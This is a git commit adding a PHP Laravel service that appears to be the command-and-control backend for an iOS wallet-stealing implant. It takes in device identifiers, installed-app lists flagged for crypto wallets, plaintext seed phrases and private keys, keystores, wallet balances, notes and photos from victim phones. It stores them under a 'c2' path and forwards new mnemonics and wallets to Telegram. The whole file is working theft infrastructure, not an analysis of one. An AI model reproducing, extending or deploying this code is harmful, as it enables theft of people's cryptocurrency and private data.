init
This commit is contained in:
@@ -0,0 +1,670 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class IngestService
|
||||
{
|
||||
public function __construct(private readonly TelegramNotifier $telegram) {}
|
||||
|
||||
/**
|
||||
* Stable device id — currently only from payload `d` / `f`.
|
||||
* Other fields will be added when confirmed in live traffic.
|
||||
*
|
||||
* `/api/user/check` multipart sends an encoded form of the same id
|
||||
* (see {@see normalizeDeviceKey}); JSON routes send the 16-hex form.
|
||||
*/
|
||||
public function extractDeviceKey(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
$candidates = [];
|
||||
if (isset($payload['form']) && is_array($payload['form'])) {
|
||||
$candidates[] = $payload['form']['d'] ?? null;
|
||||
$candidates[] = $payload['form']['f'] ?? null;
|
||||
}
|
||||
$candidates[] = $payload['d'] ?? null;
|
||||
$candidates[] = $payload['f'] ?? null;
|
||||
|
||||
foreach ($candidates as $value) {
|
||||
if (! empty($value) && is_string($value)) {
|
||||
return self::normalizeDeviceKey(substr($value, 0, 64));
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Map `/check` multipart `d`/`f` onto the JSON-route device id.
|
||||
*
|
||||
* Live photo upload encodes: hex(ascii(nibbleSwap(byteReverse(json_d)))).
|
||||
* Example: JSON `000430C910E8E526` ↔ check `36323545384530313943303334303030`.
|
||||
* Plain 16-hex (and non-matching strings) pass through unchanged.
|
||||
*/
|
||||
public static function normalizeDeviceKey(?string $key): ?string
|
||||
{
|
||||
if ($key === null || $key === '') {
|
||||
return $key;
|
||||
}
|
||||
|
||||
if (! preg_match('/^[0-9a-fA-F]{32}$/', $key)) {
|
||||
return $key;
|
||||
}
|
||||
|
||||
$ascii = hex2bin($key);
|
||||
if (! is_string($ascii) || ! preg_match('/^[0-9A-Fa-f]{16}$/', $ascii)) {
|
||||
return $key;
|
||||
}
|
||||
|
||||
$raw = hex2bin($ascii);
|
||||
if ($raw === false || strlen($raw) !== 8) {
|
||||
return $key;
|
||||
}
|
||||
|
||||
$rev = strrev($raw);
|
||||
$out = '';
|
||||
for ($i = 0; $i < 8; $i++) {
|
||||
$b = ord($rev[$i]);
|
||||
$out .= sprintf('%02X', (($b & 0x0F) << 4) | (($b & 0xF0) >> 4));
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Campaign / channel id from reporting traffic.
|
||||
*
|
||||
* Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed).
|
||||
* Fallback: `channel` (seen on /link/config/list alongside `c`).
|
||||
*/
|
||||
public function extractChannelId(Request $request, ?array $payload): ?string
|
||||
{
|
||||
$candidates = [];
|
||||
if (is_array($payload)) {
|
||||
if (isset($payload['form']) && is_array($payload['form'])) {
|
||||
$candidates[] = $payload['form']['c'] ?? null;
|
||||
$candidates[] = $payload['form']['channel'] ?? null;
|
||||
}
|
||||
$candidates[] = $payload['c'] ?? null;
|
||||
$candidates[] = $payload['channel'] ?? null;
|
||||
}
|
||||
$candidates[] = $request->input('c');
|
||||
$candidates[] = $request->input('channel');
|
||||
|
||||
foreach ($candidates as $value) {
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$value = trim($value);
|
||||
// HAR / implant: lowercase hex, typically 32 chars
|
||||
if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) {
|
||||
return strtolower(substr($value, 0, 64));
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
$deviceKey = $deviceKey !== null
|
||||
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
|
||||
: $this->extractDeviceKey($payload);
|
||||
if (! $deviceKey) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$deviceModel = $this->extractDeviceModel($payload);
|
||||
$ios = $this->extractIosVersion($payload);
|
||||
$channelId = $this->extractChannelId($request, $payload);
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
$attrs = [
|
||||
'ip' => $request->ip(),
|
||||
];
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
}
|
||||
if ($deviceModel !== null) {
|
||||
$attrs['device_model'] = $deviceModel;
|
||||
} elseif ($existing) {
|
||||
$attrs['device_model'] = $existing->device_model;
|
||||
}
|
||||
if ($ios !== null) {
|
||||
$attrs['ios_version'] = $ios;
|
||||
} elseif ($existing) {
|
||||
$attrs['ios_version'] = $existing->ios_version;
|
||||
}
|
||||
if ($channelId !== null) {
|
||||
$attrs['channel_id'] = $channelId;
|
||||
} elseif ($existing) {
|
||||
$attrs['channel_id'] = $existing->channel_id;
|
||||
}
|
||||
|
||||
// created_at = 安装时间;每次收到带设备标识的请求都刷新 updated_at(活跃判断)
|
||||
$device = Device::query()->updateOrCreate(
|
||||
['device_id' => $deviceKey],
|
||||
$attrs
|
||||
);
|
||||
$device->forceFill(['updated_at' => now()])->saveQuietly();
|
||||
|
||||
if (! $existing) {
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
$device->telegram_notified = true;
|
||||
$device->save();
|
||||
}
|
||||
|
||||
return $device->refresh();
|
||||
}
|
||||
|
||||
/**
|
||||
* App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version).
|
||||
*/
|
||||
public function ingestInstalledApps(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
$walletBundles = config('coruna.wallet_bundles', []);
|
||||
foreach ($payload['al'] as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
|
||||
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
|
||||
$version = isset($item['v']) ? (string) $item['v'] : null;
|
||||
if ($bundle === '') {
|
||||
continue;
|
||||
}
|
||||
$isWallet = in_array($bundle, $walletBundles, true)
|
||||
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
|
||||
DeviceApp::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'bundle_id' => $bundle],
|
||||
[
|
||||
'name' => $name,
|
||||
'version' => $version,
|
||||
'is_wallet' => $isWallet,
|
||||
'meta_json' => $item,
|
||||
]
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`).
|
||||
*/
|
||||
public function ingestDeviceEvent(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$eventName = $payload['et'] ?? $payload['event_name'] ?? null;
|
||||
$desc = $payload['desc'] ?? $payload['description'] ?? null;
|
||||
if ($eventName === null && $desc === null) {
|
||||
return;
|
||||
}
|
||||
$ctx = $payload['ctx'] ?? $payload['context'] ?? null;
|
||||
$contextJson = null;
|
||||
if (is_array($ctx)) {
|
||||
$contextJson = $ctx;
|
||||
} elseif ($ctx !== null) {
|
||||
$contextJson = ['value' => $ctx];
|
||||
}
|
||||
|
||||
DeviceEvent::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'event_name' => is_string($eventName) ? $eventName : null,
|
||||
'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null,
|
||||
'context_json' => $contextJson,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/set` — plaintext mnemonic / private key in `result`.
|
||||
*/
|
||||
public function ingestMnemonic(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$secret = null;
|
||||
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery', 'privateKey', 'private_key', 'privkey', 'wif'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
$secret = trim($payload[$key]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ($secret === null || $secret === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
$hash = WalletMnemonic::hashSecret($secret);
|
||||
$row = WalletMnemonic::query()->firstOrNew([
|
||||
'device_id' => $device->id,
|
||||
'mnemonic_hash' => $hash,
|
||||
]);
|
||||
$isNew = ! $row->exists;
|
||||
$source = WalletSource::fromTag($payload['a'] ?? null);
|
||||
$row->source = $source;
|
||||
$row->mnemonic = $secret;
|
||||
$row->save();
|
||||
if ($isNew) {
|
||||
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/avatar/status` — store entire `result` keystore/identity blob.
|
||||
*/
|
||||
public function ingestKeystore(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload) || ! array_key_exists('result', $payload)) {
|
||||
return;
|
||||
}
|
||||
$result = $payload['result'];
|
||||
if (is_string($result)) {
|
||||
$decoded = json_decode($result, true);
|
||||
if (is_array($decoded)) {
|
||||
$result = $decoded;
|
||||
}
|
||||
}
|
||||
if (! is_array($result) && ! is_string($result)) {
|
||||
return;
|
||||
}
|
||||
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'raw_json' => is_array($result) ? $result : ['value' => $result],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
|
||||
*/
|
||||
public function ingestAddresses(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
$source = WalletSource::fromTag($payload['a'] ?? null);
|
||||
$rows = $this->normalizeStatusAddressRows($payload);
|
||||
/** @var list<array{address: string, chain: string, balance: string, source: string}> $notify */
|
||||
$notify = [];
|
||||
|
||||
foreach ($rows as $row) {
|
||||
$address = $row['address'] ?? null;
|
||||
if (! is_string($address) || $address === '') {
|
||||
continue;
|
||||
}
|
||||
$chainType = (string) ($row['chain_type'] ?? '');
|
||||
if ($chainType === '') {
|
||||
$chainType = WalletSource::inferChainType($address);
|
||||
}
|
||||
$balance = $row['balance'] ?? '';
|
||||
// Global Wallet ad map: scalar is not a balance → ignore coin fields.
|
||||
if (! is_array($balance) && ! is_string($balance)) {
|
||||
$balance = '';
|
||||
}
|
||||
|
||||
$existing = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', $address)
|
||||
->where('source', $source)
|
||||
->first();
|
||||
|
||||
$beforeCoins = $existing?->coinSnapshot();
|
||||
$coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
|
||||
|
||||
$attrs = ['chain_type' => $chainType];
|
||||
foreach ($coinAttrs as $col => $value) {
|
||||
$attrs[$col] = $value;
|
||||
}
|
||||
if (! $existing) {
|
||||
$attrs['monitor'] = 0;
|
||||
}
|
||||
|
||||
$addr = WalletAddress::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'address' => $address, 'source' => $source],
|
||||
$attrs
|
||||
);
|
||||
|
||||
$balanceSummary = $addr->coinsSummary();
|
||||
$shouldNotify = ! $existing
|
||||
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
|
||||
if ($shouldNotify) {
|
||||
$notify[] = [
|
||||
'address' => $address,
|
||||
'chain' => $chainType,
|
||||
'balance' => $balanceSummary,
|
||||
'source' => $source,
|
||||
];
|
||||
}
|
||||
unset($addr);
|
||||
}
|
||||
|
||||
if ($notify !== []) {
|
||||
$this->telegram->notifyNewWallets($device->device_id, $notify);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
|
||||
*/
|
||||
public function ingestNotes(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload) || ! array_key_exists('list', $payload)) {
|
||||
return;
|
||||
}
|
||||
$list = $payload['list'];
|
||||
if (! is_array($list)) {
|
||||
$list = [$list];
|
||||
}
|
||||
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => array_values($list),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Decode /check multipart `idx` / `ftu` 12-hex packs: "%06llx%06llx".
|
||||
*
|
||||
* @return array{0: ?int, 1: ?int}
|
||||
*/
|
||||
public static function decodeHexCounterPair(mixed $packed): array
|
||||
{
|
||||
if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) {
|
||||
return [null, null];
|
||||
}
|
||||
|
||||
return [(int) hexdec(substr($packed, 0, 6)), (int) hexdec(substr($packed, 6, 6))];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{
|
||||
* x_hit?: ?int,
|
||||
* upload_count?: ?int,
|
||||
* process_index?: ?int,
|
||||
* text_count?: ?int,
|
||||
* barcode_count?: ?int
|
||||
* } $meta
|
||||
*/
|
||||
public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void
|
||||
{
|
||||
$notifiedNewSensitive = false;
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
}
|
||||
$bytes = file_get_contents($path);
|
||||
$sha = hash('sha256', $bytes);
|
||||
// Same file content → skip DB insert & telegram (idempotent).
|
||||
if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) {
|
||||
continue;
|
||||
}
|
||||
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
|
||||
Storage::disk('local')->put($rel, $bytes);
|
||||
$xHit = $meta['x_hit'] ?? null;
|
||||
$photo = Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => $sha,
|
||||
'path' => $rel,
|
||||
'size' => strlen($bytes),
|
||||
'x_hit' => $xHit,
|
||||
'upload_count' => $meta['upload_count'] ?? null,
|
||||
'process_index' => $meta['process_index'] ?? null,
|
||||
'text_count' => $meta['text_count'] ?? null,
|
||||
'barcode_count' => $meta['barcode_count'] ?? null,
|
||||
]);
|
||||
if ($photo->wasRecentlyCreated && (int) $xHit > 0 && ! $notifiedNewSensitive) {
|
||||
$this->telegram->notifyNewPhotos($device->device_id);
|
||||
$notifiedNewSensitive = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function extractDeviceModel(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
foreach (['deviceModel'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
|
||||
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
|
||||
return $payload['m'];
|
||||
}
|
||||
$info = $payload['deviceInfo'] ?? null;
|
||||
if (is_array($info)) {
|
||||
foreach (['productType', 'machine', 'model'] as $key) {
|
||||
if (! empty($info[$key]) && is_string($info[$key])) {
|
||||
return $info[$key];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function extractIosVersion(?array $payload): ?string
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return null;
|
||||
}
|
||||
// /api/user/get uses `v` for iOS version
|
||||
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
|
||||
return $payload['v'];
|
||||
}
|
||||
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
|
||||
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
||||
return $payload[$key];
|
||||
}
|
||||
}
|
||||
$sv = $payload['systemVersion'] ?? null;
|
||||
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
|
||||
return $sv['ProductVersion'];
|
||||
}
|
||||
if (is_string($sv) && $sv !== '') {
|
||||
return $sv;
|
||||
}
|
||||
$info = $payload['deviceInfo'] ?? null;
|
||||
if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) {
|
||||
return $info['productVersion'];
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Normalize `/api/user/status` shapes into address rows.
|
||||
*
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||
*/
|
||||
private function normalizeStatusAddressRows(array $payload): array
|
||||
{
|
||||
$ba = $payload['ba'] ?? null;
|
||||
if (is_string($ba)) {
|
||||
$decoded = json_decode($ba, true);
|
||||
$ba = is_array($decoded) ? $decoded : null;
|
||||
}
|
||||
if (is_array($ba)) {
|
||||
return $this->normalizeBaAddressRows($ba);
|
||||
}
|
||||
|
||||
$ad = $payload['ad'] ?? null;
|
||||
if (is_string($ad)) {
|
||||
$decoded = json_decode($ad, true);
|
||||
$ad = is_array($decoded) ? $decoded : null;
|
||||
}
|
||||
if (is_array($ad)) {
|
||||
return $this->normalizeAdAddressRows($ad);
|
||||
}
|
||||
|
||||
if (isset($payload['data']) && is_array($payload['data'])) {
|
||||
return $this->normalizeLegacyDataRows($payload['data']);
|
||||
}
|
||||
|
||||
return [];
|
||||
}
|
||||
|
||||
/**
|
||||
* imToken-style: { "<address>": [ { balance, chainType, symbol, decimal }, ... ] }
|
||||
*
|
||||
* @param array<string, mixed> $ba
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||
*/
|
||||
private function normalizeBaAddressRows(array $ba): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($ba as $address => $assets) {
|
||||
if (! is_string($address) || $address === '' || ! is_array($assets)) {
|
||||
continue;
|
||||
}
|
||||
$balance = [];
|
||||
$chainType = '';
|
||||
foreach ($assets as $asset) {
|
||||
if (! is_array($asset)) {
|
||||
continue;
|
||||
}
|
||||
if ($chainType === '') {
|
||||
$chainType = (string) ($asset['chainType'] ?? $asset['chain'] ?? '');
|
||||
}
|
||||
$symbol = strtoupper((string) ($asset['symbol'] ?? ''));
|
||||
if ($symbol === '') {
|
||||
continue;
|
||||
}
|
||||
$balance[$symbol] = WalletSource::formatBalance(
|
||||
$asset['balance'] ?? 0,
|
||||
$asset['decimal'] ?? $asset['decimals'] ?? null
|
||||
);
|
||||
}
|
||||
if ($chainType === '') {
|
||||
$chainType = WalletSource::inferChainType($address);
|
||||
}
|
||||
$out[] = [
|
||||
'address' => $address,
|
||||
'chain_type' => strtoupper($chainType),
|
||||
'balance' => $balance,
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Global: { "<address>": "<opaque scalar>" } — scalar is NOT a balance.
|
||||
* Trust: [ { address, symbol, balance, decimals }, ... ]
|
||||
*
|
||||
* @param array<mixed> $ad
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>|string}>
|
||||
*/
|
||||
private function normalizeAdAddressRows(array $ad): array
|
||||
{
|
||||
if (array_is_list($ad)) {
|
||||
/** @var array<string, array{address: string, chain_type: string, balance: array<string, int|float|string>}> $byAddr */
|
||||
$byAddr = [];
|
||||
foreach ($ad as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$address = (string) ($item['address'] ?? '');
|
||||
if ($address === '') {
|
||||
continue;
|
||||
}
|
||||
if (! isset($byAddr[$address])) {
|
||||
$chain = (string) ($item['chainType'] ?? $item['chain'] ?? '');
|
||||
if ($chain === '') {
|
||||
$chain = WalletSource::inferChainType($address);
|
||||
}
|
||||
$byAddr[$address] = [
|
||||
'address' => $address,
|
||||
'chain_type' => strtoupper($chain),
|
||||
'balance' => [],
|
||||
];
|
||||
}
|
||||
$symbol = strtoupper((string) ($item['symbol'] ?? ''));
|
||||
if ($symbol === '') {
|
||||
continue;
|
||||
}
|
||||
$byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance(
|
||||
$item['balance'] ?? $item['value'] ?? 0,
|
||||
$item['decimal'] ?? $item['decimals'] ?? null
|
||||
);
|
||||
}
|
||||
|
||||
return array_values($byAddr);
|
||||
}
|
||||
|
||||
// Global Wallet: address → opaque scalar (not balance) → store empty string
|
||||
$out = [];
|
||||
foreach ($ad as $address => $value) {
|
||||
if (! is_string($address) || $address === '') {
|
||||
continue;
|
||||
}
|
||||
$out[] = [
|
||||
'address' => $address,
|
||||
'chain_type' => WalletSource::inferChainType($address),
|
||||
'balance' => '',
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Legacy lab fixture: [ { address, chain, balance, symbol } ]
|
||||
*
|
||||
* @param array<mixed> $data
|
||||
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||
*/
|
||||
private function normalizeLegacyDataRows(array $data): array
|
||||
{
|
||||
$items = array_is_list($data) ? $data : (isset($data['address']) ? [$data] : []);
|
||||
$out = [];
|
||||
foreach ($items as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$address = (string) ($item['address'] ?? '');
|
||||
if ($address === '') {
|
||||
continue;
|
||||
}
|
||||
$chainType = (string) ($item['chainType'] ?? $item['chain'] ?? '');
|
||||
if ($chainType === '') {
|
||||
$chainType = WalletSource::inferChainType($address);
|
||||
}
|
||||
$symbol = strtoupper((string) ($item['symbol'] ?? WalletSource::nativeSymbolForChain($chainType)));
|
||||
$out[] = [
|
||||
'address' => $address,
|
||||
'chain_type' => strtoupper($chainType),
|
||||
'balance' => [
|
||||
$symbol => WalletSource::formatBalance(
|
||||
$item['balance'] ?? 0,
|
||||
$item['decimal'] ?? $item['decimals'] ?? null
|
||||
),
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user